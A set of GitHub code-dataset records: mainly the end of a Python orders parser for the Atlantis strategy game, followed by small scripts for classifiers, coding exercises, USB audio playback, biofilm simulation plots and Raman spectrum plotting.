self._consumer.order_hold(flag=hold, permanent=permanent,\n comment=comment)\n \n elif order == 'join':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if tokens:\n tok = tokens.popleft().lower()\n if tok == 'nooverload':\n self._consumer.order_join(target=target, nooverload=True,\n permanent=permanent,\n comment=comment)\n elif tok == 'merge':\n self._consumer.order_join(target=target, merge=True,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_join(target=target,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_join(target=target,\n permanent=permanent,\n comment=comment)\n \n elif order == 'leave':\n self._consumer.order_leave(permanent=permanent, comment=comment)\n \n elif order == 'move':\n try:\n dirs = [OrdersParser._parse_dir(d.lower()) for d in tokens]\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_move(dirs=dirs, permanent=permanent,\n comment=comment)\n \n elif order == 'name':\n if len(tokens) < 2:\n raise SyntaxError('{}: missing name'.format(line))\n what, name = tokens.popleft().lower(), tokens.popleft()\n if what == 'faction':\n self._consumer.order_name(permanent=permanent, comment=comment,\n faction=name)\n elif what == 'unit':\n self._consumer.order_name(permanent=permanent, comment=comment,\n unit=name)\n elif what in ('building', 'ship', 'object', 'structure'):\n self._consumer.order_name(permanent=permanent, comment=comment,\n structure=name)\n elif what in ('village', 'town', 'city') and \\\n OrdersParser._get_legal(name):\n self._consumer.order_name(permanent=permanent, comment=comment,\n city=OrdersParser._get_legal(name))\n else:\n raise SyntaxError('{}: invalid argument'.format(line))\n \n elif order == 'noaid':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n noaid = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_noaid(flag=noaid, permanent=permanent,\n comment=comment)\n \n elif order == 'nocross':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n nocross = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_nocross(flag=nocross, permanent=permanent,\n comment=comment)\n \n elif order == 'nospoils':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n spoils_none = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if spoils_none:\n self._consumer.order_spoils(spoils='none', permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_spoils(spoils='all', permanent=permanent,\n comment=comment)\n raise DeprecationWarning(\n '{}: deprecated. Use SPOILS instead'.format(line))\n \n elif order == 'option':\n if not tokens:\n raise SyntaxError('{}: missing option'.format(line))\n option = tokens.popleft().lower()\n if option == 'times':\n self._consumer.order_option(times=True, permanent=permanent,\n comment=comment)\n elif option == 'notimes':\n self._consumer.order_option(times=False, permanent=permanent,\n comment=comment)\n elif option == 'showattitudes':\n self._consumer.order_option(showunitattitudes=True,\n permanent=permanent,\n comment=comment)\n elif option == 'dontshowattitudes':\n self._consumer.order_option(showunitattitudes=False,\n permanent=permanent,\n comment=comment)\n elif option == 'template':\n if not tokens:\n raise SyntaxError('{}: missing template type'.format(line))\n temformat = tokens.popleft().lower()\n if temformat in ('off', 'short', 'long', 'map'):\n self._consumer.order_option(temformat=temformat,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid template type'.format(line))\n else:\n raise SyntaxError('{}: invalid option'.format(line))\n \n elif order == 'password':\n if not tokens:\n self._consumer.order_password(password='none',\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_password(password=tokens.popleft(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'pillage':\n self._consumer.order_pillage(permanent=permanent, comment=comment)\n \n elif order == 'prepare':\n if not tokens:\n self._consumer.order_prepare(item=None,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_prepare(item=tokens.popleft().lower(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'weapon':\n self._consumer.order_weapon(permanent=permanent, comment=comment,\n items=[w.lower() for w in tokens])\n \n elif order == 'armor':\n self._consumer.order_armor(permanent=permanent, comment=comment,\n items=[w.lower() for w in tokens])\n \n elif order == 'produce':\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n item = tokens.popleft().lower()\n if OrdersParser._value(item):\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_produce(target=OrdersParser._value(item),\n item=tokens.popleft().lower(),\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_produce(item=item,\n permanent=permanent,\n comment=comment)\n \n elif order == 'promote':\n try:\n unit = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_promote(unit=unit, permanent=permanent,\n comment=comment)\n \n elif order == 'quit':\n if not tokens:\n self._consumer.order_quit(permanent=permanent, comment=comment)\n else:\n self._consumer.order_quit(password=tokens.popleft(),\n permanent=permanent, comment=comment)\n \n elif order == 'restart':\n if not tokens:\n self._consumer.order_restart(permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_restart(password=tokens.popleft(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'reveal':\n if not tokens:\n self._consumer.order_reveal(reveal=None, permanent=permanent,\n comment=comment)\n else:\n tok = tokens.popleft().lower()\n if tok == 'none':\n self._consumer.order_reveal(reveal=None, comment=comment,\n permanent=permanent)\n elif tok in ('unit', 'faction'):\n self._consumer.order_reveal(reveal=tok, comment=comment,\n permanent=permanent)\n else:\n raise SyntaxError('{}: invalid value'.format(line))\n \n elif order == 'sail':\n try:\n dirs = [OrdersParser._parse_dir(d.lower(), allow_enter=False) \\\n for d in tokens]\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_sail(dirs=dirs, permanent=permanent,\n comment=comment)\n \n elif order == 'sell':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n num = tokens.popleft().lower()\n if num == 'all':\n num = OrdersParser.AMT_ALL\n else:\n num = OrdersParser._value(num)\n if not num:\n raise SyntaxError('{}: missing amount'.format(line))\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_sell(num=num, item=tokens.popleft().lower(),\n permanent=permanent, comment=comment)\n \n elif order == 'share':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n share = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_share(flag=share, permanent=permanent,\n comment=comment)\n \n elif order == 'show':\n try:\n what, item = tokens.popleft().lower(), tokens.popleft().lower()\n except IndexError:\n raise SyntaxError('{}: missing target'.format(line))\n if what == 'skill':\n self._consumer.order_show(permanent=permanent, comment=comment,\n skill=item)\n elif what == 'item':\n self._consumer.order_show(permanent=permanent, comment=comment,\n item=item)\n elif what == 'object':\n self._consumer.order_show(permanent=permanent, comment=comment,\n structure=item)\n else:\n raise SyntaxError('{}: invalid target'.format(line))\n \n elif order == 'spoils':\n if not tokens:\n tok = 'all'\n else:\n tok = tokens.popleft().lower()\n if tok in ('none', 'walk', 'fly', 'swim', 'sail', 'all'):\n self._consumer.order_spoils(spoils=tok, permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid option'.format(line))\n \n elif order == 'steal':\n try:\n unit = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n else:\n item = tokens.popleft().lower()\n self._consumer.order_steal(target=unit, item=item,\n permanent=permanent, comment=comment)\n \n elif order == 'study':\n if not tokens:\n raise SyntaxError('{}: missing skill'.format(line))\n sk = tokens.popleft().lower()\n if tokens:\n self._consumer.order_study(\n skill=sk, level=OrdersParser._value(tokens.popleft()),\n permanent=permanent, comment=comment)\n else:\n self._consumer.order_study(skill=sk, permanent=permanent,\n comment=comment)\n \n elif order == 'take':\n if not tokens or tokens.popleft().lower() != 'from':\n raise SyntaxError('{}: missing from'.format(line))\n if not tokens:\n raise SyntaxError('{}: missing unit'.format(line))\n unit = OrdersParser._value(tokens.popleft())\n if not unit:\n raise SyntaxError('{}: invalid unit'.format(line))\n target = {'unitnum': unit}\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n \n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_takefrom(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_takefrom(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n \n elif order == 'tax':\n self._consumer.order_tax(permanent=permanent, comment=comment)\n \n elif order == 'teach':\n if not tokens:\n raise SyntaxError('{}: missing target'.format(line))\n targets = []\n try:\n while tokens:\n targets.append(OrdersParser._parse_unit(tokens))\n except SyntaxError as e:\n self._consumer.order_teach(targets=targets,\n permanent=permanent,\n comment=comment)\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_teach(targets=targets,\n permanent=permanent,\n comment=comment)\n \n elif order == 'work':\n self._consumer.order_work(permanent=permanent, comment=comment)\n \n elif order == 'transport':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n\n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_transport(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_transport(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n \n elif order == 'distribute':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n \n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_distribute(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_distribute(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n\n @staticmethod\n def tokenize(line):\n \"\"\"Tokenize a line\n \n Splits a line into its tokens. In Atlantis tokens are defined\n by:\n - Double quotes: everything included between a pair of double\n quotes is a token, no matter which characters are in it.\n - Comments: comments is anything after a semi-colon ;. Comments\n suffer no longer tokenization, they're a single token\n - Permanent mark: the at sign @ as the first not blank\n is interpreted as a permanent mark, and anything following\n it will be included in next turn orders template.\n - Spaces: tokens are separated by spaces.\n \n Tokenize returns a tuple with the following elements: list of\n tokens, permanent flag (True or False), comment string.\n \n Parameters:\n line The line to be tokenized\n \n Returns:\n A three elements tuple with the list of tokens, the permanent\n flag and the commend string\n \n Raises:\n SyntaxError If an error is found (like unmatched quotes)\n \n \"\"\"\n line = line.strip()\n tokens = deque()\n permanent = line.startswith('@')\n if permanent:\n line = line[1:]\n while line:\n token, line, comment = OrdersParser._get_token(line)\n if comment:\n return (tokens, permanent, token)\n else:\n tokens.append(token)\n \n return (tokens, permanent, None)\n \n @staticmethod\n def _get_token(line):\n \"\"\"Get next token of a line\n \n Reads line and get its next token and its remaining part as a\n tuple.\n \n Parameter:\n line Line string where the token is to be read\n \n Returns:\n A three elements tuple with next token, remaining part of the\n line and True if the token it's a comment, False otherwise\n \n Raises:\n SyntaxError If an error is found (like unmatched quotes)\n \n \"\"\"\n line = line.strip()\n if line.startswith('\"'):\n result = re.match(r'\"(?P.+?)\"(?P.*)', line)\n if result:\n return (result.group('token'), result.group('remaining'), False)\n else:\n raise SyntaxError('Unmatched quotes')\n elif line.startswith(';'):\n return (line[1:], None, True)\n else:\n result = re.match(r'(?P[^\\s;]+)(:?(?P[\\s;].*))?',\n line)\n return (result.group('token'), result.group('remaining'), False)\n \n @staticmethod\n def _value(token):\n \"\"\"Returns the positive integer value from the token\n \n This function works as value function in Atlantis code. Chars\n others than 0-9 are simply ignored.\n \n Parameter:\n token String which needs to be converted into number\n \n Return:\n Integer value of the token string\n \n \"\"\"\n result = re.match(r'\\d*', '0' + token)\n return int(result.group(0))\n \n @staticmethod\n def _parse_dir(token, allow_enter=True):\n \"\"\"Parse a direction string\n \n This function parse a direction string, returning its short\n value (ie, N, S, SE, instead of north, south, southeast).\n \n It raises SyntaxError if direction is not valid.\n \n Parameter:\n token String which need be parsed as a string\n allow_enter If True (default) entering and leaving structures\n are valid movements\n \n Return:\n A string with the direction, or the number of object to enter\n \n Raises:\n SyntaxError if direction is not valid\n \n \"\"\"\n for k, v in directions.items():\n if not allow_enter and k in ('in', 'out'):\n continue\n if token.lower() in (k, v):\n return k\n else:\n if not allow_enter:\n raise SyntaxError('invalid direction')\n result = OrdersParser._value(token)\n if result:\n return result\n else:\n raise SyntaxError('invalid direction')\n \n @staticmethod\n def _parse_unit(tokens, allow_any=False):\n \"\"\"Parse a target unit string\n \n This method parses a unit string as Atlantis parser does. It\n returns a dictionary for the unit id with the following keys:\n unitnum Number of the unit (in case the unit exists we'll use\n its number)\n alias Alias of the unit (in case the unit is just created)\n faction Number of the faction, to be used together with the\n alias when we're referring to a just created unit\n from another faction\n \n There's a special case when the string used for the unit is\n '0'. In this case unitnumber is set to _ANY.\n \n So unit can be referred by:\n \n As in give 127 100 silv. Return unitnumber set to number\n of the unit\n faction new \n As in give faction 12 new 3 100 silv. Return faction and\n alias numbers\n new \n As in give new 3 100 silv. Return alias number\n 0\n The special case mentioned above. unitnum is returned as\n ANY\n \n If there's a parser error a SyntaxError exception is raised.\n \n Parameters:\n tokens A list of string tokens\n allow_any If True ANY value is allowed, otherwise it raises\n a SyntaxError exception\n \n Return:\n A dictionary with unitnum, alias and faction keys\n \n Raises:\n SyntaxError if unit specification is not correctly built\n \n \"\"\"\n if not tokens:\n raise SyntaxError('missing unit')\n tok = tokens.popleft().lower()\n if tok == '0':\n if allow_any:\n return {'unitnum': OrdersParser.UNIT_ANY}\n else:\n raise SyntaxError('malformed unit')\n elif tok == 'faction':\n try:\n faction, newstr, alias = \\\n OrdersParser._value(tokens.popleft()), \\\n tokens.popleft().lower(), \\\n OrdersParser._value(tokens.popleft())\n except IndexError:\n raise SyntaxError('malformed unit')\n if not faction or not alias or newstr != 'new':\n raise SyntaxError('malformed unit')\n return {'alias': alias, 'faction': faction}\n elif tok == 'new':\n try:\n alias = OrdersParser._value(tokens.popleft())\n except IndexError:\n raise SyntaxError('malformed unit')\n if not alias:\n raise SyntaxError('malformed unit')\n return {'alias': alias}\n else:\n unitnum = OrdersParser._value(tok)\n if not unitnum:\n raise SyntaxError('malformed unit')\n return {'unitnum': unitnum}\n \n @staticmethod\n def _parse_TF(token):\n \"\"\"Parse a true or false flag\n \n Translate the true or false string to a Boolean value. True\n values are true, t, on, yes and 1. False values are false, f,\n off, no and 0.\n \n Raises a SyntaxError exception if none of this strings are\n found.\n \n Parameter:\n token String to be translated\n \n Return:\n True or False depending on the string\n \n Raises:\n SyntaxError if the string is not a true/false string\n \n \"\"\"\n if token and token.lower() in ('true', 't', 'on', 'yes', '1'):\n return True\n elif token and token.lower() in ('false', 'f', 'off', 'no', '0'):\n return False\n else:\n raise SyntaxError('invalid value')\n \n @staticmethod\n def _get_legal(token):\n \"\"\"Get rid of invalid characters in the token\n \n Valid characters are\n a-z A-Z 0-9 ! [ ] , . { } @ # $ % ^ & * - _ + = ; : <\n > ? / ~ ' \\ `\n \n Parameter:\n token String to be cleaned up from invalid characters\n \n Return:\n Cleaned up string \n \n \"\"\"\n valid = re.split(r'[^]a-zA-Z0-0![,. {}@#$%^&*-_+=;:<>?/~\\'\\\\`]', token)\n return ''.join(valid).strip()\n ","repo_name":"sharcashmo/pyAH","sub_path":"pyAH/atlantis/parsers/ordersparser.py","file_name":"ordersparser.py","file_ext":"py","file_size_in_byte":51408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"34760375499","text":"from sklearn.tree import DecisionTreeClassifier\nfrom src.models.vanilla_classifier import VanillaClassifier\n\n\nclass DecisionTree(VanillaClassifier):\n \"\"\"\n Decision Tree Classifier\n ==================\n Child class implementing Decision Tree classifying model.\n Attributes\n ==========\n _criterion - Function to measure quality of a split\n _data_processing - Type of processed data to use in the training est testing process\n \"\"\"\n def __init__(self, _criterion='gini', data_process=None):\n super().__init__(DecisionTreeClassifier(criterion=_criterion), data_process=data_process)\n self.parameters = {'criterion': _criterion}\n self.param_grid = self.get_param_grid()\n\n def get_param_grid(self):\n return {'criterion': ['gini', 'entropy'],\n 'max_depth': [50, 100],\n 'min_samples_split': [2, 3, 5],\n 'min_samples_leaf': [3, 5]\n }\n\n","repo_name":"mwlussier/leaf_classification","sub_path":"src/models/decision_tree_classifier.py","file_name":"decision_tree_classifier.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16240072602","text":"#Rotation game optimized\ndef main():\n # YOUR CODE GOES HERE\n # Please take input and print output to standard input/output (stdin/stdout)\n # E.g. 'input()/raw_input()' for input & 'print' for output\n A = list(map(int, input().strip().split()))\n k = int(input())\n N = A.pop(0)\n if k > N :\n k = k % N\n\n #reverse the list\n A = A[::-1] \n A = A[0:k:1][::-1] + A[k:len(A):1][::-1]\n print(A)\n return 0\n\nif __name__ == '__main__':\n main()","repo_name":"aman-bcalm/Scaler-Problems","sub_path":"Day 6/RotationGameOpt.py","file_name":"RotationGameOpt.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26216973341","text":"# https://leetcode.com/problems/substrings-that-begin-and-end-with-the-same-letter/\n# 1AC, count it\n\nfrom collections import defaultdict\n\nclass Solution:\n def numberOfSubstrings(self, s: str) -> int:\n mm = defaultdict(int)\n for c in s:\n mm[c] += 1\n\n res = len(s)\n for k, v in mm.items():\n res += v * (v - 1) // 2\n\n return res\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/2001-2500/2083_substrings-that-begin-and-end-with-the-same-letter_1_AC.py","file_name":"2083_substrings-that-begin-and-end-with-the-same-letter_1_AC.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"}
+{"seq_id":"9050697901","text":"\"\"\"\r\n2. Read an mp3 file from a usb mass storage device with a particular label and play the audio file on powered speaker or headphone.\r\n\"\"\"\r\n\r\nfrom playsound import playsound\r\n\r\n# playsound('C:\\\\Users\\\\rajatkumar\\\\Music\\\\timer.wav')\r\n# playsound('E:timer.wav')\r\n\r\nimport win32api\r\nfrom ctypes import windll\r\n\r\n\r\ndef get_drives():\r\n drives = []\r\n bitmask = windll.kernel32.GetLogicalDrives()\r\n letter = ord('A')\r\n while bitmask > 0:\r\n if bitmask & 1:\r\n drives.append(chr(letter) + ':\\\\')\r\n bitmask >>= 1\r\n letter += 1\r\n\r\n return drives\r\n\r\n\r\nif __name__ == '__main__':\r\n drives = get_drives()\r\n # print(drives)\r\n drive_names = {}\r\n\r\n for i in range(len(drives)):\r\n name = (win32api.GetVolumeInformation(drives[i]))\r\n drive_names[name[0]] = drives[i]\r\n\r\n print(drive_names)\r\n\r\n label = input(\"Enter Label : \")\r\n d = drive_names[label]\r\n d = d[:-1]\r\n file_name = input(\"Enter File Name : \")\r\n # file_name = \"timer.wav\"\r\n file_name = d + file_name\r\n print(\"This file is going to Play\", file_name)\r\n try:\r\n playsound(file_name)\r\n except:\r\n print(\"File not Found\")\r\n","repo_name":"im-Rajat/Learning-Python","sub_path":"Practice-Python/Assignment2/Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8211603418","text":"import re\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mticker\n\n# import numpy as np\n# from matplotlib import gridspec\nimport os\n\nfrom lib import figure_util\nimport simulation_processor\n\nfigure_util.apply_style()\n# plt.style.use('../figstyle.mpl')\n\n\ndef plot_sigb(ax, biofilm_df, **kwargs):\n grped = biofilm_df.groupby(\"dist\")\n sigbd, = ax.plot(grped[\"dist\"].median(), grped[\"Bsamp\"].mean(), **kwargs)\n # ax.fill_between(grped[\"dist\"].median(),\n # grped[\"Bsamp\"].mean() - grped[\"Bsamp\"].sem(),\n # grped[\"Bsamp\"].mean() + grped[\"Bsamp\"].sem(), alpha=0.4, **kwargs)\n return ax, sigbd\n\n\ndef get_figure(ax, wt_df, x2_df, **kwargs):\n ax, wtp = plot_sigb(\n ax, wt_df, color=figure_util.strain_color[\"JLB077\"], label=\"$s_B$\"\n )\n ax, x2p = plot_sigb(\n ax, x2_df, color=figure_util.strain_color[\"JLB117\"], label=\"2 $\\\\times s_B$\"\n )\n source_cols = [\"dist\", \"Bsamp\", \"sim_id\"]\n wt_df[source_cols].to_csv(\"source_data/figure7_d_wt.tsv\", sep=\"\\t\")\n x2_df[source_cols].to_csv(\"source_data/figure7_d_2xqp.tsv\", sep=\"\\t\")\n ax.set_ylim(bottom=0)\n ax.set_xlim(left=0)\n ax.legend()\n return ax, [wtp, x2p]\n\n\ndef main():\n this_dir = os.path.dirname(__file__)\n runf = os.path.join(this_dir, \"../../../stochastic/algo/luna/final_sweeps/\")\n pulse_wt_info = (\n \"Pulsing dynamics WT\",\n glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=0.7*,pscale_b=0.25*.tsv\")[0],\n )\n pulse_2x_info = (\n \"Pulsing dynamics 2xQP\",\n glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=0.7*,pscale_b=0.5*.tsv\")[0],\n )\n # bistb_wt_info = (\"Bistable WT\", glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=3.6*,pscale_b=2.0*.tsv\")[0])\n # bistb_2x_info = (\"Bistable 2xQP\", glob(runf + \"movethresh3/bfsim_b_qp|*pscale_a=3.6*,pscale_b=4.0*.tsv\")[0])\n\n fig, ax = plt.subplots(1, 1)\n pulse_wt_df = simulation_processor.get_dataset(\n pulse_wt_info[1], max_distance=140.0, spore_time_hours=0.5\n )\n pulse_2x_df = simulation_processor.get_dataset(\n pulse_2x_info[1], max_distance=140.0, spore_time_hours=0.5\n )\n\n # bistb_wt_df = simulation_processor.get_dataset(bistb_wt_info[1], max_distance=140.0, spore_time_hours=0.5)\n # bistb_2x_df = simulation_processor.get_dataset(bistb_2x_info[1], max_distance=140.0, spore_time_hours=0.5)\n\n ax, sbplots = get_figure(ax, pulse_wt_df, pulse_2x_df)\n # ax, sbplots = get_figure(ax, bistb_wt_df, bistb_2x_df)\n\n ax.set_ylim(0, 50)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"npmurphy/biofilm_pulse","sub_path":"figures/figure_model_summary/subfig_sig_pulse_gradient.py","file_name":"subfig_sig_pulse_gradient.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73853499753","text":"#Joel Christian\n\n#A nutritionist who works for a fitness club helps members by evaluating their diets. As part of her\n#evaluation, she asks members for the number of fat grams and carbohydrate grams that they\n#consumed in a day. Then, she calculates the number of calories that result from the fat, using the\n#following formula: Calories from Fat = Fat Grams × 9\n#Next, she calculates the number of calories that result from the carbohydrates, using the following\n#formula: Calories from Carbs = Carb Grams × 4\n#The nutritionist asks you to design a modular program that will make these calculations.\n\n#This program accepts the number of fat and carbohydrates gram consumed,\n#calculates the total calories using fat grams,\n#calculates the total calories using catbohydrates gram,\n#then calculates the total calories from fat and carb calories\n#and displays the total calories results.\n\n#Create global constants\nFATCAL_MULTIPLIER = 9\nCARBCAL_MULTIPLIER = 4\n\n#Create and initialize a global variable to store the total calories\ntotalCalories = 0\n\ndef main():\n #Get the number of fat grams\n inputFat = float(input(\"Enter the number of fat grams consumed: \"))\n \n #Get the number of carbohydrates grams\n inputCarb = float(input(\"enter the number of carbohydrates grams consumed: \"))\n\n #Calculates and displays the number of fat calories\n setFat(inputFat)\n #Calculates and displays the number of carb calories\n setCarb(inputCarb)\n #Displays the total calories from both fat and carbs\n print(\"The total number of calories consumed is: \", totalCalories)\n\n#The setFat function calculates and displayes the total number of fat calories\n#and adds it to the total calories\ndef setFat(totalFat):\n fatCal = totalFat * FATCAL_MULTIPLIER\n global totalCalories\n totalCalories = totalCalories + fatCal\n print(\"The total number of Fat Calories is:\", fatCal)\n\n#The setCarb function calculates and displays the total number of carbohydrates calories\n#and adds it to the total calories\ndef setCarb(totalFat):\n carbCal = totalFat * CARBCAL_MULTIPLIER\n global totalCalories\n totalCalories = totalCalories + carbCal\n print(\"The total number of Carbohydrates Calories is:\", carbCal)\n\n#Call the main function\nmain()\n","repo_name":"joel-christian/Starting-out-With-Programming-Logic-and-Design","sub_path":"3.7 Fat_and_Carb.py","file_name":"3.7 Fat_and_Carb.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"2844924481","text":"from collections import deque\n\ndef solution(maps):\n n,m = len(maps), len(maps[0])\n dir = [(-1,0),(0,1),(1,0),(0,-1)]\n visited = [[0 for _ in range(len(maps[0]))] for _ in range(len(maps))]\n q = deque()\n q.append([0,0])\n visited[0][0] = 1\n \n while q:\n y,x = q.popleft()\n for dx,dy in dir:\n nx,ny = x+dx, y+dy\n if 0<=nx= 2:\n RamanShift.append(int((i.split(',')[0]).split('.')[0].rstrip()))\n Intensity.append(float((i.split(',')[1]).rstrip()))\n elif i.split('=')[0] == \"##NAMES\":\n title_name = i.split('=')[1].rstrip() + \" \"\n elif i.split('=')[0] == \"##RRUFFID\":\n title_name += i.split('=')[1].rstrip()\n\n#plot\nplt.figure()\nplt.rcParams['font.family'] = 'sans-serif'\nplt.rcParams['font.size'] = 10\nplt.rcParams['xtick.direction'] = 'in'\nplt.rcParams['ytick.direction'] = 'in'\nplt.rcParams['xtick.major.width'] = 1.0\nplt.rcParams['ytick.major.width'] = 1.0\nplt.rcParams['lines.linewidth'] = 0.8\nplt.title(str(title_name))\nplt.plot(RamanShift,Intensity,color=\"red\")\nplt.xlabel(r\"Raman Shift (cm$^{-1}$)\")\nplt.ylabel(r\"Intensity\")\nplt.xlim(min(RamanShift),max(RamanShift))\nplt.grid(which='major',color='lightgray',linestyle='-')\nplt.grid(which='minor',color='lightgray',linestyle='-')\nsave_name = title_name.replace(\" \",\"_\")+'.png'\nplt.savefig(save_name)\nsel = input('open '+save_name+' ? (y/n) ')\nif sel == 'y':os.system(\"open \"+save_name)\n","repo_name":"WataruTakahagi/RAMAN","sub_path":"raman.py","file_name":"raman.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
